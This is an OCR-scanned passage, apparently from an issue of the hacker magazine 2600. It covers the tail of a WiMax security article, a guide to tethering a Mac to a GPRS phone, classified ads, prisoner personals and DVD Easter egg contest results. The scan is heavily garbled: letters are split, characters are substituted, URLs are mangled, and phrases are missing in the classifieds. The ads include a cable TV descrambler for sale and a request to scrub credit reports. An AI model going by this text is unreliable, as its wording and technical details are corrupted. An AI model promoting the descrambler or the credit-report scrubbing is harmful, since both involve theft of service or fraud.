tifi cate, the DES or AES a lgorit hm that the SS 
supports, and the Con n ecti on  Identifi er (CID ) .  
Next, the  SS sta rts up  a n  Autho ri zati on  State Ma­
chine (ASM )  to fo llow the authorization  request, 
respon ses, keys , a n d  a ny ti meouts . 

The BS wi l l  verify that the requester's MAC 
matches that in the certificate. Then the BS wi l l 
send the SS a n  Auth ori zati on  Key (AK) contai n i ng  
the 55 ' s  pub li c  key. ( Remem ber, a l l  t h i s  is  sti ll e n ­
crypted . )  O n ce t h i s  i s  checked out  and  verified to 
be legit, the BS sends  the SS an AK which  is en­
crypted with a fou r  b it  sequence n u m ber, a key 
telli n g  it how long  it s hou ld live fo r, a n d  an ID fo r 
every Secu rity Associati on  Identifier  (SAID) that 
the SS i s  authorized to get. 

Enc rypti n g  the AK  with the SS's p ub li c  key en­
su res that o n ly the authorized SS wi ll be ab le to 
disti n gu i sh  one  a uthori zation  response from the 
next. The key lifeti me  i s  used by the  ASM to de­
term ine  when the SS wi ll renew its  key to p revent 
traffi c i nterrupti o n .  The SAIDs identify va rious  
traffi c flows the S5 ca n access and  may get key 
ri ng  materi a l  fo r transmitti ng  a nd  receivi ng  i nfo 
on the traffi c flow. Once the SS receives the AK,  
it enters the authorized state i n  the 55'  s A5M 
that was i nitiated when the  a uth req uest was 
made. A g race period  i s  defi n ed d u ri n g  which the 
55 wi ll send a rea utho rize req uest to receive a 
new AK befo re the  o ld one  expi res. The AK is used 
to create a n  en cryption  key. Both the  SS and the 
BS sha re the auth key so they a re both a b le to 
figu re out the  key en crypti o n .  

Long and  Short 
Although  802 . 16d p rovides strong  secu rity, 

802 . 16e  wi ll add  enhancements to strengthen 
the data p rivacy and p rotecti o n .  802 . 16e i s  sti ll 
under  development. As new techno logy becomes 
avai la b le AT&T may uti lize them withi n the Wi Max 

equ ipment itself. 
802 . 16e renames the  security sub- layer to the 

p rivacy-layer even though  the  p rivacy sub- layer 
sti ll i n cludes a nd  enhan ces the authenti cati o n  
process found  i n  802 . 1 6d .  

802 . 16d uses the R5A  authentication  as  its 
way of com m unicati o n .  The 55 wi ll a lways au­
thenticate fo r the BS  but never the oth er way 
a round .  

Why not u se  a two-way authenti cati on ?  Al­
though  other methods can be used to address the 
concerns of the one-way authenti cati o n ,  AT&T 
fee ls it is better to have m utua l authentication  
avai la b le within the W i  Max sta ndard itse lf. 
802 . 16e wi ll add  the option  of EAP to the mix 
which wi ll i n clude the abi lity to perform m utua l 
authentication  between the SS a nd  the BS .  
802 . 16e wi ll i n clude EAP with the abi lity to  have 
vendor  se lectab le methods ( EAP-TL5 or  EAP-5IM ) .  

8 0 2 . 1 6 d  wi ll u s e  tri p le D E5 fo r the en cryption  
of the  D ES traffi c .  802 . 16e  wi ll mai ntai n a back­
wards compati bi lity but wi l l  a lso have AES fo r the 
encrypti o n  of the keys and the Traffi c En crypti on  
Keys (TEKs ) .  Switchi ng  to  AES from the o lder D E5 
encryption  wi l l  give AT&T the abi lity to en h an ce 
the  p rivacy of the data ca rried over the Wi Max 
system .  

What about  sp read spectru m?  AT&T feels that 
usi n g  a spread spectrum wi ll not i n c rease the  se­
cu rity of the tra n smissi o n .  

So now  that you  k now  how  the guts work, 
what good i s  it goi n g  to do  you? Well ,  thi n k  of it 
this way. You wi ll no lo nger  be at the mercy of the 
telco outages. The d rawbacks a re that  you wi l l  be 
at the mercy of AT&T. 

AT&T a nnoun ced recently that it p la n s  to 
la unch  its second  Wi Max tri a l  to fu rth er test the 
performa nce of the fixed wi reless tec hno logy 
with busi n ess customers .  AT&T p lan s  to test i n  
Atla nta with more customers a nd  with more wi re­
less tech no logy than  in its fi rst tri a l  back in May. 
Currently AT&T i s  testi ng  Wi Max usi n g  one tower 
that supports two un identifi ed customers in Mid­
d letown ,  NJ .  The vi ce p resident of access product 
management stated that the new tri a l  wi ll i n ­
clude "substantia lly mo re customers over severa l 
towers." 

The carrie r  uses "ea rly stage Wi Max equip­
ment" i n  its  New Jersey tri a l  and "more sta n ­
da rds-based W iMax  equi pment" i n  the Atla nta 
tri a l .  AT&T is  worki n g  with m u lti p le Wi Max ven ­
do rs;  AT&T has  chosen  Intel as  its ch ip  provider  
fo r the next round  of tests . 

The tra nsmissi on  speeds wi ll ra nge from 2 M  to 
6 M  bit/sec to each  site with in  a two m i le cell ra­
d ius .  If there i s  li ne  of sight  between the tower 
a nd  customer  locati o n ,  speeds can exceed 6 M  
bit/sec. 
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Cheap Mo bile In 
for Y 

· 
Are your fingers to cramp up from typ­

mg U R Ls on the keypad of your cell phone? This 
article will explain how to get the same access 
your wireless phone has on your laptop whether 
you've paid for such a service or not. If your cell 
phone has Internet access, in most cases your 
laptop can too. The following procedure will work 
on almost any cell phone with WAP and/or G PRS 
access. 

Although there is a similar way to do this on a 
pc, this article will cover how to do it on a Mac 
running OS X. 

Cost 
The service I'm using is T-MobiLe. They offer a 

$29 . 9 9  per month plan for GPRS access. This plan 
is mostly used for Sidekicks and Treos. The phone 
I'm using for this article is the Motorola t722i. This 
phone only has a simple WAP browser. T-Mobile of­
fers a service called t-zones for $ 4 . 9 9  a month. 
This gives my browser access to news, weather, 
sports, etc. It also gives the phone's modem all 
the access I need to use it with my laptop. How­
ever, the t-zones plan will only give you access to 
web and e-mail. There used to be a way around 
this, but not anymore. 

USB Data Cable and Drivers 
If your phone has bluetooth you can skip this 

section. If not you are going to need a U S B  data 
cable for your phone. The best place to get one of 
these is eBay. Just search for your phone model 
and "data kit" or "data cable". I got mine for the 
t722i for $ 7 . 5 2  (with shipping). 

Once you have your cable, hook it up, open 
System Preferences, and go to Network. If your 
modem is already supported you should get a no­
tice saying that a new port was detected and the 
modem should show up in the "show" menu. If 
your modem is not detected (the t722i is not) 
then you need a driver patch which you can down­
loa� at . ht�p:/ /homepage.mac.com/jrc/con 
-tnb/moblle_offlce/ Apple U S B C D C DriverPatch . pk 
-g.tar. 

Note: I did not write this patch. The website 
says it is intended for Mac OS 10 . 1 . 3, 10 . 1 .4, and 
10 . 1 . 5  only. However it seemed to work fine on 
10 . 3 . 9 .  

Once the patch is installed restart your system 
and then go back to Network preferences. Your 
phone should now show up. 

Configuring the Modem 
For bluetooth phones the instructions at this 

site should work: http://homepage.mac.com/jrc/ 

-contrib/tzones/. 
For a phone connected through the U S B  cable 

yo� are going to need a modem script. These 
scnpts can be obtained at http://www.tani 
-wha.org.ukj. 

For my phone I downloaded the Motorola GPRS 
scripts. Once you have the scripts copy them to the 
/ Library/Modem Scripts/ directory. Open Network 
preferences and select your phone's modem in the 
"show" menu then select the PPP tab. 

Here you need to enter your provider's APN 
(Access Point Name) in the "Telephone Number" 
field and a username and password if it's needed. 
You can find this information for your provider 
here: http://www. taniwha.org.uk/gprs.html. For 
T-Mobile there are three APN's :  internet2.voices­
tream.com, internet3 .voicestream.com, and 
wap.voicestream.com. 

The first two are used with the $29 . 9 9  Internet 
plan. The last one works with the t-zones plan. No 
username or password is required. For T-Mobile 
there is also a note that an http proxy is needed 
(216 . 1 5 5 . 16 5 . 5 0 port 8080), so go to the Proxies 
tab and enter the proxy's IP and port number. Now 
go to the Modem tab and select one of the modem 
scripts you installed. Finally, go back to the PPP 
tab and click on "Dial Now . . .  " Once the Internet 
Connect application loads, select your phone's 
modem, and click on "Connect." If it doesn't con­
nect try a different modem script. The "Motorola 
GPRS CID2 5 7 k  +CGQR EQ" script worked fine for 
me. 

Now whenever you are away from home and 
can't find an open WiFi connection, just plug your 
phone into the U S B  port, go to your Network pref­
erences, select the modem, and click on "Con­
nect." Now there is no excuse for missed email or 
Internet downtime. 

I have personally gotten this to work using 
MAC OS X 1 0 . 3 . 9  and a Motorola t722i with T-Mo­
bile . . I.

f you have any questions about your setup 
speClflcally I would suggest checking out 
http://www.howardforums.com/ or http://groups 
- .yahoo.com/group/maccellphone/. Also, if you 
think he deserves it, buy Ross Barkman a pint 
(http://www.taniwha.org.uk/). 
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Happenings 
HOPE NUMBER SIX. Ti m e  to mark your calendars a n d  cancel any plans you may 
have already made for J u ly 21 ,  22, and 23, 2006. You will be i n  New Yo r k  City at­
tendi n g  our sixth hacker conference. It's the o n ly o n e  that will ever take place in 
a year that's a n  anagram of our own name! ( U nti l  2060 at least.) There are simply 
no excuses for missi n g  such an event. Details at http://www. h o p e . n et. 
NOTACON: COM M UNICATION AND HACKER CULTURE. Not your typical con! N ota­
can i nvades the H o liday Inn lakes hore from April 7th through the 9th,  2006 in 
Clevela n d ,  O h i o .  The event attempts to apply a hackish perspective not o n ly to 
tech n o logy, but to a rt, music,  and comm unity as well. This year's focus i s  o n  com­
m u n i cati o n  and our c u lture. There are two tracks of talks ranging from infosec to 
psychology to the a rts. In additi o n ,  there are n u merous games, contests, live mu­
s ic ,  a n d  other events. Want  to find out more? Check out o u r  website: 
http://www.notaco n . o rg/. Please pre-register early o r  you may be left out! 

Fur Sale 
REAL WORLD HACKING: Interested i n  rooftops, stea m tun nels, a n d  the like? Read 
the all-new Access All Areas, a guidebook to the art  of urban explorati o n ,  from 
the author  of Infiltration zi ne.  Send $20 postpaid i n  the U S  o r  Canada,  o r  $25 
overseas, to PO Box 1 3 ,  Station E ,  To ronto, ON M 6 H  4El,  Canada,  o r  order o n li n e  
at www.infiltrati o n . o r g .  
EN HANCE OR B U I L D  Y O U R  LIBRARY w'th any of the followi n g  C D  ROMS:  Hack At­
tacks Testi n g ,  Computer Forensics, Master Ha cker, Web Spy 2001,  H ackers' Hand­
book,  Troubleshooti n g  & Diagn ostics 98,  PC Tro u b lesh ooter 2000, Forbidden 
Subjects 3 ,  Hackers Toolkit 2 .0 ,  Steal This C D ,  Hacks & Cracks,  Hackerz Kronick­
lez, Elite Hackers Toolkit 1,  Forbidden Knowledge 2 ,  Trou bleshooti n g  & Diagnos­
tics 2002, Police Call Freq uency Guide 2nd Editi o n ,  Com puter Toybox, An sweri n g  
Machine 2 0 0 0 ,  Hackers Encyclopedia 3 ,  Maxi m u m  Security 3rd Editi o n ,  Network 
Utilities 2001, Screen savers 2002, Engineering 2000, Anti-Ha cker Toolkit 2 n d  Edi­
tio n  & PC H a rdware. Send name, address, dty, state, zi p ,  email  add ress (for up­
dates o n ly) a n d  items ordered,  along with a cashier 's  check o r  m o n ey order i n  the 
a m o u n t  of $20 for  each item to: Doug Talley, 1234 Birchwood Drive, Monmouth,  
I L 61462.  
HACKERSTICKERS.COM has a w hole new collection of hacker gear for your needs, 
t-shi rts, caffei n e  to lockpick sets. Come visit the website to order. 
CH ECK OUT JEAH.NET for reliable and  affordable Unix s h ells. Begi n ners and  ad­
van ced users love J EAH's  Unix  shells for performance-driven upti mes a n d  a h u g e  
list of Virtual H osts. You r  a c c o u n t  lets y o u  store d a t a ,  use I R e ,  S S H ,  a n d  email  
with complete privacy a n d  security. J EA H  a lso offers fast a n d  stable hosti n g  for 
your web site, plus the ability to register a n d  manage your own domain name. All 
at very com petitive prices. Spedal for 2600 su bscribers: Mention 2600 and re­
ceive setup fees waived. Look to www.jea h . n et for the excepti o n a l service a n d at­
tention  you deserve. 
FREEDOM DOWN11ME ON DVD! Years i n  the making but we hope it was worth the 
wait.  A double DVD set that indudes the two hour docum enta ry, a n  i n -depth in­
terview with Kevin Mitnick, a n d  nearly t h ree h o u rs of extra scenes, lost foota ge, 
a n d  miscellaneous stuff.  Plus captioning for 20 (that's right, 20) la n g uages, com­
mentary track, and a lot of things you'l lj ust have to find for you rself! The entire 
two disc set can be had by sending $30 to Freedom Downti m e  DVO, PO Box 7 5 2 ,  
Middle Isla n d ,  N Y  1 1 9 5 3  U S A  o r  b y  ordering from o u r  o n li n e  store a t  
http://sto re.2600.co m .  ( V H S  copies of the film still availa ble f o r  $ 1 5 . )  
NETWORKING AND SECURITY PRODUcrs availa ble at OvationTechnology.co m .  
We're a supplier  of Network Security a n d  Internet Privacy products. O u r  o n li n e  
store features VPN a n d  firewall ha rdware, wireless ha rdware, cable a n d  DSL  
modems/routers, I P  access devices, VoIP  products, parental control products, a n d  
ethernet switches.  We p r i d e  ou rselves o n  provi d i n g  the hig hest level of tech nical 
expertise a n d  custo m e r  satisfacti o n .  O u r  commitment to you . . .  No su rprises! Buy 
with confidence!  Security and Privacy i s  our business! Visit us  at 
http://www.Ovati o nTec h n o logy.com/store.htm.  
ONLINE SERVICES. Web h osti n g ,  cheap domains,  great  dedicated servers, SSL  
certs, a n d  a lot  more!  Check out www. Nob4.com. 
CUSTOM T-SHIRTS: Why be EXACTLY l ike everyone else? Let's face it ,  we're all indi­
vi duals a n d  th ere's a little revolutionary i n  each of us.  It 's  h igh  ti m e  that you 
n u rture this,  a n d  a hand silk screened shirt  featu ri n g  you as  C h e  Guevara is the 
perfect way to start .  AvailabLe on a wide variety of q u a lity shi rts with a wide se­
lection of ink  coLors .  And for those who are livi n g  life o n  the cheap,  we also offer 
heat tran sfer shi rts in a limited n u mber of colors. Visit http://meguevara .com.  
OVERSTOCK: We fo u n d  a limited n u mber of " H ello My Name Is ___ a n d  I 'm a 
Hacker" shi rts left over from Beyo n d  HOPE  in 1997. Each s h i rt ships with a 
S h a rpie so you can add your own name, h a n d le, moni ker, nom de plum o r  paw 
print. See o u r  spedals section for more details. 
SPAMSHIRT.COM - take some spam and put it on a t-shirt.  Now avai la b Le i n  the 
U . S . !  www. spamshirt .com.  
HACKER LOGO T-SHIRTS AND STICKERS. Those "in the kn ow" recognize The Gl ider  
as  the new Hacker Logo.  T-shi rts and  stickers em blazoned with the Hacker Logo 
can be fo u n d  at Ha ckerLogo . c o m .  O u r  products are top q u a lity, a n d  will visually 
associate you as a member of the hacker culture. A portion of the proceeds go to 
support the Electronic Frontier Foundati o n .  Visit us  at www. HackerLogo.com!  
PH RAINE.  The tech n o logy without the noise qua rterly would li ke to t h a n k  the 
2600 readers w h o  have a lso become new subscribers a n d  encourages those who 

have not ACK their  need for diverse computer i nformation  i n  conj u n cti o n  with 
that of 2600 to dedicate some packets and become a subscriber today! Visit us  at 
our n ew domain www. pearlyfreepress.com/phraine.  
LEARN LOCK PICKING It 's  EASY with o u r  book  and new video. The 2 n d  editi o n  
book adds lots m o r e  i nteresting materi a l  a n d  i lLustrations  w h i l e  the video i s  filled 
with computer graphic  cutaway views. Lea rn what they don't want you to know. 
Any security system can be beaten, many times right through the front door. 
Lea rn the secrets and weakness of today's locks. If you want to get where you are 
not supposed to be, this book could be your a nswer. Explore the empoweri n g  
world o f  Lock picki n g .  S e n d  twenty bucks fo r the b o o k  o r  video t o  Sta ndard Publi­
cati o n s ,  PO Box 2 2 2 6 HQ, Champaign,  IL 61825 o r  visit us at 
www.sta ndardpublications.com/directj2600.html for your 2600 reader price discount. 
FILE TRACKING SOAWARE: File Accounta nt(TM ) .  Windows XP and later. Creates a 
list of files on your h a rd drive. Run it  before a n d  after i n stalli n g  new products 
a n d/or u pdates to discover which files are added/changed/deleted. Pri n t  lists. 
Other features. More i nformation at: 
http://abilitybusinessco m p uterservices.com/fa . html  or 
fa.info@abilityb usinesscomputerservices . c o m .  
O N L I N E  RETAILER OF COM PUTER PRODUCTS i s  a lso a 2600 subscriber! 6 0 , 0 0 0  dif­
ferent computer products from compon ents to compLete systems,  laptops, PDAs, 
cables, RAM, and media all available o n li n e  at http://www.digitaleverything .ca .  
Worldwide shipping i s  n o  problem . J u st menti o n  you are a subscriber a n d  I'll  give 
you better prices too. Contact Dave at sales@digitaleverything .ca for more info.  
CABLE TV DESCRAM BLERS. New. $ 5 5  + $5.00 sh ippi n g ,  money order/cash o n ly. 
Works o n  a n a log o r  a n a log/digital cable system s .  Premi u m  c h a n nels a n d  possibly 
PPV depending on syste m .  Complete with 110vac power supply. Purchaser as­
sumes sole responsibility for notifyi n g  cable operator of use of descra m b ler. Re­
qui res a cabLe TV converter (Le., Radio Shack)  to be used with the unit. Cable 
conn ects to the  converter, then the descra m b ler, then the output goes to TV set 
tuned to channel  3. C D  9621  Olive, Box 28992-TS, Olivettet S u r, Missouri 6 3 1 3 2 .  
E m a i l :  cabledescra m b Lerguy@ya hoo.com.  

Help Wanted 
BLACK HAT/WHITE HAT urgently needed. I have been scammed by a professi o n a l  
l o o k i n g  website offering novelty d river licenses along with discou nts f o r  m u lti ple 
novelty li censes. When you upload a picture and spedfications ,  you get a "confir­
mati o n "  with directions for sending your m o ney " O N LY by Western U n i o n . "  A guy 
i n  Esto nia receives it. That i s  the last you hear  of your money o r  anything else! 
This guy even has a n other website " rati n g "  his own scam website as  "good" and 
rati ng other similar scam websites h e  controls, a lso as  "good."  WHAT NERVE!  
Every day h e  i s  victi mizing thousands of people a n d  steaLi n g  their money. Some­
thing needs to be done!  I have some great ideas a n d  will furnish the URL of the 
website, the n a m e  h e  uses to receive the Western Union money transfers, the IP 
address on his  emails, a n d  the U R L  of the "reviewi n g  website. "  U nfortu nately I 
don't have the tech nicaL ability to do anything about it. I th ink  there s h o u ld be 
big flashing red letters across this site: ' 'THIS IS A SCAM O P ERATION - AFTER YOU 
SEND YO U R  WESTERN UNION M O N EY TRANSFER,  YOU WILL N EVER RECEIVE ANY­
THING ! "  On his "reviewing website , "  the rati ng s h o u ld be changed from "good" to 
"a scam" for each of the sites listed . Western Union and the Country of Esto nia 
will not do a nythi n g  about this outright fraud o r  each is so manifestly i m potent 
that they are una ble to stop this Internet fra u d !  Is there a B LACK HAT out there 
who wants to temporarily switch hats, become a WHITE HAT, and  help? 
iam awidow@ya hoo.com 

HIRING PROFESSIONAL INTERNET CONSULTANTS with job  references o n ly for  the 
followi ng :  website security, perfo r m a n ce tuning,  a n d  ma rketi n g  for o n li n e  maga­
zi n e .  Please send your bio a n d  res u m e  to:  j b h a rtsworth @ya hoo.com -you can 
work from home,  but s h o u ld live i n  ( o r  around) NYC, as you will need to attend a 
meeti n g  or two. 
CREDIT REPORT HELP NEEDED. Need some assistance removi ng negative items 
off credit reports. Will pay. All agencies. Please respo n d  to 
skysi g ht@spacemail .com.  

Wanted 
HAVE KNOWLEDGE OF SECURITY BREACHES at your bank? H eard r u m o rs of 
cracked customer databases? Know there are u n a d d ressed vulnerabi lities in a re­
tailer's credit card netwo rk,  but its management doesn't know o r  care? We want 
your ti ps. We are a business newsletter focusi n g  on security issues i n  the fi n a n ­
dal  i n d ustry: I T  security, privacy, reg u latory compliance,  identity-theft a n d  
fra ud,  money-la u n deri n g .  Wherever cri m i n a l  activity meets b a n k s ,  we are there. 
You can remain a n onymous.  ( N ote: we will not print r u m o rs drculated by one 
person o r  group without obtai n ing  supporti n g  evi dence or corroboration  from 
other parties . )  Contact ban ksecuritynews@ya hoo.com o r  call 2 1 2-564-8 9 7 2 ,  ext. 
102.  
IF YOU DON'T WANT SOMETHING TO B E  TRUE, does that make it propaganda? 
When we're children and we don't want to li ste n ,  we put our  hands  over o u r  ears. 
As we grow up,  we create new ways to i g n o re things we don't want to h ear. We 
make excuses. We look the other way. We Label things "propaga nda" or "sca re tac­
tics."  But it doesn't work.  It doesn't m a ke the truth go away. Government and 
corpo rate MIND CONTROL PROGRAMS are used to i nti mi date, torture, a n d  m u rder  
peopLe gLobally. It may n ot be what you want to hear. But that doesn 't  make it 
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Jny lE'sS true. Please visit and  support John Gregory La rn b rtJ� by distri huting this 
ad to free dassifi\:'d sites Jnd n ewsgroups g loba lly. 

Services 

website with a 
there is  a 

good chance we can we have 
h osted sorne of the rnost controversia l  websites o n li n e  and no o n e  has been able 
to take u s  offline yet. and chi ld 
is not perrnitted a n d  
refuse t o  

tails. 
ARE YOU TIRED 

can't just throw thern i n  o r  recycle them as someone 
them a n d  use them to stea l your identity. You can't just  let them 
kitchen table. So i n stead you have to be bothered with 
of them.  Well, not a nymore. Operation MailBack.c.om has a free for you.  
All costs of disposal i n cluding delivery will be paid by the company responsible 
for sending the stuff to you.  Stop wa�ti n g  your valuable ti m e  deali n g  with messes 
other people are responsible for creati n g .  Check out o u r  newly redesi gned web­
site for comp lete i nfO! mation  and take back your mai lbox. 

Announcements 
OFF THE HOOK is  the weekly one h o u r  hacker radio show Wednesday 

at 7:00 pm ET on WBAI 99.5 FM i n  New Yo rk City. can also tune i n  over 
net at www.2600.com/offthehook o r on s h ortwave i n  North a n d  South Amer­

ica at 741 5 khz.  Archives of all  shows dati n g  back to 1988 can be fou n d  at the 
2600 site, now in Shows frorn 1988�2005 are now avai lable i n  DVD-R 
format for $�O� O r  the new h igh  qua lity a u d i o  $50.  
Each month you'll  get a newly released year of "Off The Hook"  in  quality 
(far better than previous  o n li n e  releas\:'s) .  Send check o r  money order to 2600, 
PO Box 7 5 2 ,  Middle Isla n d ,  NY 11953 USA o r  order through o u r  onl ine store at 
http://sto re.2600.com. Yo u r  feed back on the program is  always welco m e  at 
oth@2600.com.  
DO YOU WANT ANOTH ER PRINTED MAGAZINE that complements 2600 with even 

tersect for the purpose of seei n g  
J e s u s .  

VMYTHS.COM AUDIO RANTS are available free of charge to computer talk shows. 

These short a n d  often h i larious M P3s dispel the hysteria that surrounds comp uter 

security. One former White House computer security advisor  hates these rants 

(and  we don 't  make this claim li g htly). Check out Vmyths .com/news.cfm for de-

Personals 

m rr' D uteHelated work/help i n  Africa, or s imply anyone 
a project Emai l me: partymontrea l@hotmai l .com.  
LOOKING FOR PEN PALS/CONTACTS. 3 7  year old 
blond hair, blue eyes,  tattooed from head to 

dedi-

fo rnia state prison w/ 1 2  short  months left. seeki n g  friends a n d  h"ki m , / c to c",k­
ing p u b licati o n s  to help pass ti me.  Will reply to al l  letters, If possible 
Send to:  Ronnie Rey n o lds V74374, Avenal  State Prison ,  320-37 Low, PO 
Aven a l, CA 9 3 204. 
88LOGAN-IS-CO N N EmNG. some serious network-

zines, etc.) to be 
the govern m e n t  mind 

pression penal  system .  Pictures are more than welcome and 
mai led is  appreciated. Got over 3 i n  on 5 O. Brian Walden #500289, D . C . C . ,  
P a d d o c k  R o a d ,  S m y r n a ,  D E  1Y97 7 .  
GAY PRISO NER with 5 years  to g o .  Looki n g  for  correspondence a n d  google  help  
on topics  of travel (for when I get out).  Com Sci  degree, former  C isco employee, 
high ranking ( 2 1 7 0  USCF) chess correspondence player ( p lay m e  by mail) .  Study­
ing custom encr. and stega. theo ry. Ken Roberts J60962,  CSATF-A2-244 U P, PO 
Box 5248, Corcora n ,  CA 9 3 2 1 2 .  
OFFLINE OUTLAW IN TEXAS n e e d s  h e l p !  I've gone 8 years but m a y  go h o m e  i n  
2010 a n d  w a n t  t o  start getting b a c k  t o  speed. O u r  leaves m u c h  t. o  b e  
desired i n  t h e  areas I ' m  looki n g .  I f  y o u  cunous ,  m i n d  a n d  a r e  pa-
ti ent. enough to a n swC'f my q u esti o n s  and  help me lea r n ,  p lease drop me a li ne.  
I ' ll  a n swer all letters. Willi a m  Li nd ley 822934,  1300 FM 6 5 5 ,  Rosharon,  TX 77583-
8604.  
ICED RAGON FOU N D E R  OF XPH.  I a m  mostly interested i n  fi nding  people a n d  fel­
low hackers that re member m e  a n d  my crew from Dalnet (irc.da l . n et) .  If you were 
a part of XPH o n  Dalnet o r  just  somponp who Ilspd to stop hy, plpase write mp. T 
have been in pr ison for the past two a n d  a h a lf years a n d  have lo�t contact with 
mostly everyone.  I still have seven and a go a n d  would li ke to locate 
and talk with all my oid friends,  DjFlipper, KORNOGRAPHY, 

Hackeri s h ,  PacM a n ,  Bratty, Miss Angel, 

O R  97882.  

room to Also,  any other hackers  o r  
l i k e  to write me, please do.  I w i l l  r e s p o n d  to ALL letters, 

not. Brandon Kaufm a n ,  #15111040, 82911 Beach Access R d . ,  U mati lla, 

STILL IN THE BIG HOUSE. Over t h ree down, " bout a year left to serve. Known as 
Alphabits, busted for hacking a few banks  a n d  unauthorized wire tran sfers. I 'm 
extremely bo red a n d  i n  desperate need for sti m u lati o n .  I would love to hear  from 
anyone i n  the real world. Help m e  out a n d  to now. Why wait? Will 
reply to a ll. Jeremy Cush ing  #J51130,  PO Box 9 1 1 ,  Imper-
ial, CA 9 2 2 51-0911.  
IN SEARCH O F  FRIENDS/CONTACTS: Federally inca rcerated WM,  brown 
6'00", 190 lbs . ,  26 old (for the ladies - please send photos, 
been i n  6 a cou ple to Interested in real world hacking not 
to roofto ps,  ( u n )abandoned FUN with safes, vaults, locks, 
alarms, a n d  a nythi n g  placement on v a r i o u s  maili n g  
lists: video, DVD,  b o o k ,  ma gazi ne, cata logs, pen-pals, p h otos, a d u lt video tan 

and ANYTHING you can thi n k  of is  a p preciated . Anyone know of hacker mag 
2600? Mycology, Will  respond,  talk shop with all.  Eager to lea rn ,  

so let's talk!  I love photos !  mai l  to: Henry French  (#44552-083 - optional) ,  
PO Box 10 ( Elkton FCI  - also optional) ,  Lisbon,  O H  4443 2 .  Gir ls ,  d o n 't be bad-boy 
shy! 
CONVICTED COM PUTER CRIMINAL i n  federal prison doi n g  research on 
Syndrome prevalence i n  pris o n .  Please write: Paul  Cun;  15287-014,  Box 
Taft CA 9 3 2 6 8 .  
SYSTEM X HERE!  I'm sti l l  i n carcerated i n  Indiana D e p t .  of Correcti o n s  for at least 
8 months and don't get many chances t.o st.i m u late my m i n d .  I do someti mes get 
a h o ld of books but that requires knowi n g  the title, ISBN#, and author. Any help 
would be great�  I a m  sti ll looki n g  for ANY hacker/co m puter related i nformation  
such as tutorials, mags,  zi nes,  o r  friends to discuss a nyth i n g !  I'm 
also for i nfo on any security the Novell Netwo r k  client. All letters 
will be n o  matter what!  
I 'm also for autographs i n  hacker o r  real name for a collection I 
started if anyone finds the ti me.  DOM I need you to write again 
turn address was removed from your envelope. All i nfo a n d  
a ppreciated. Joshua Steelsmith #1136 67, MCF-IDOC, P.O .  Box 9 0 0 ,  B u n ker  
46914.  
STORMBRINGER'S 411: Am not getting a fai r  shake i n  court without a n  attorney, 
so it's 1 5  more years to p u ll. Need a coder for a web GUT for a shoctw,ave,'sca o o cc 
(Icom PCR-lOOO) that I don ated to a s h ortwave station a n d  some 
i n g  stuff. Would love to talk s h o p  with people on radio, datd over  radio, dr rd  h d rn  
r a d i o .  W i l l  respond to al l  letters technica l  o r  n ot. W.K.  S m i t h ,  44684-083,  FCI 

PO Box 1000, C u m berland ,  M D  2 1 501-1000. Web: 
WW,v,st<lCmtJnn>JeC.tcv. Li n k  to it� 

ONLY SUBSCRIBERS (AN ADVERTISE IN 2600! Don't even think  aboul lryi n g  to 
take out an ad u n less you subscribe! All ads are free and there i s  no amount. of 
money we will acccpt for a non�su bscriber ad. We hope that's clear. Of course, we 
reserVE' the ri ght to and not print it if it's amazi n g ly stu-
pid or has nOlhing We make no to 
the hon esty, righteousness, sanity, etc. of the people advertis ing Contact 
them All submissions a re for ONE ISS U E  O N LY! If you want to run your 
ad must resubmit it each ti me. Don't expect us to run more 
than onc ad for you a single issue either. Include your add ress 

we know you're a su bscriber. Send your ad to 
NY 11953.  DeadLine tor Spri n g  issue: 3/1/06. 
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CONTEST RES U LTS 
The Easter Egg H u nt is  over. We want to thank a l l  of you who 
sent i n  entr ies.  We were q u ite i m p ressed with the outpo u r i n g  
we received espec ia l ly  after last issue's chasti s i n g .  
After carefu l  consideratio n ,  we 've decided that t h e  w i n n e r  is  
Lucas "Golden H e l ix"  McLan e .  Congratu lat i o n s !  

A n d  n o w  for t h e  moment everyone h a s  been wait ing for. T h e  Easter E g g  List,  a s  best a s  we c a n  remember. (There 

are just so damn many of the m . )  Note : This is the l i st as obtai nable from a standalone DVD player. There are other 

ways of access ing the Easter Eggs on computers,  way too many to l i st here.  

Disc Number One 
I f  you cl ick on " Extra Footage" you' l l  get what looks and sounds l i ke a 
Mac error comp lete with a Fifth HOPE logo. 

Hidden S u btitles 
On the normal subtit le menu, go to the third screen and h i t  the right arrow 
on the last entry (Chinese). The word " b u l lshit" wil l  h igh l ight.  Cl ick o n  It 
and the hidden subtit le menu will appear with the fol lowing choices:  
.FCC Approved Version: " Nasty, violent,  and blasphemous words" are 
re p l aced with more acceptable choices. For example,  the l ine that reads 
"Thls is  b u l l shit ,  man" becomes "This is balderdash, m a n . "  "Sprint real ty 
sucks" i s  converted to "Sprint real ly  breathes in." Rel igious refe rences 
are also softened so that nobody is offended by haVIng, for i nstance, a 
deity's name uttered. "And t picked it  up and I just thought,  'Oh,  my God'"  
becomes "And I picked it up and I just thought ,  'Oh,  my Goodness. ' "  
There are q u ite a few other "f ixes,"  far too many to l ist here or anywhere 
else.  Translation credit is given to then FCC Chairman Michael Powe l l .  
.Game : This is a d r i n k i n g  game.  Y o u  can s e t  whatever r u l e s  y o u  wish 
Di fferent g raphics f lash on the screen for the words computer, hacker, 
computers, hackers, computer hacker, and computer hackers whenever 
they are spoken i n  the f i l m .  
. Words: Special ly selected words a r e  d isplayed throughout the course o f  
the f i lm w h i c h  wind u p  creating t w o  messages. The f i rst message i s :  "You 
can a secret message anywhere these days . "  (The word "hide" is h idden 
and we don't  know where it i s . )  The second message i s :  "t ime he evi­
dence i n  mention person one roots types anything not total l y  telegraph 
home i n  no gave if st i l l  now over task trying off  software two obtained 
p l astic q u ote uncle excrUCiat ing state tita n i u m  i n  one name i nterview now 
given" which would appear to be total g i bberish.  However, if you take the 
f i rst leiter of each word, you' l l  f ind that it spel ls out "The i m portant th ing is 
not to stop q uestio n i n g . "  We're i m p ressed by the number of people who 
f igured this one out .  
.Babel: A bit  of fun that came from translat ing the s u btit les into Korean 
and then back into E n g l i s h ,  each t ime using AltaVista's Babelfish ut i l ity. 
The result is mostly incomprehensible nonsense, with an occas ional gem 
l i k e :  " I t  took an attitude i n  the Phiber to respect , "  "Bad name the g u i lty 
plea due to the high computer haCker," or "It dies the blue screen . "  We 
sincerely regret that there are people walking around who have memo­
rized this text. That was never o u r  intention .  
( E a c h  of these features c a n  a l s o  be accessed without g o i n g  through 
the menu by hitting the s u btitle button o n  the DVD player remote 
u nt i l  the desired selection is reached.) 
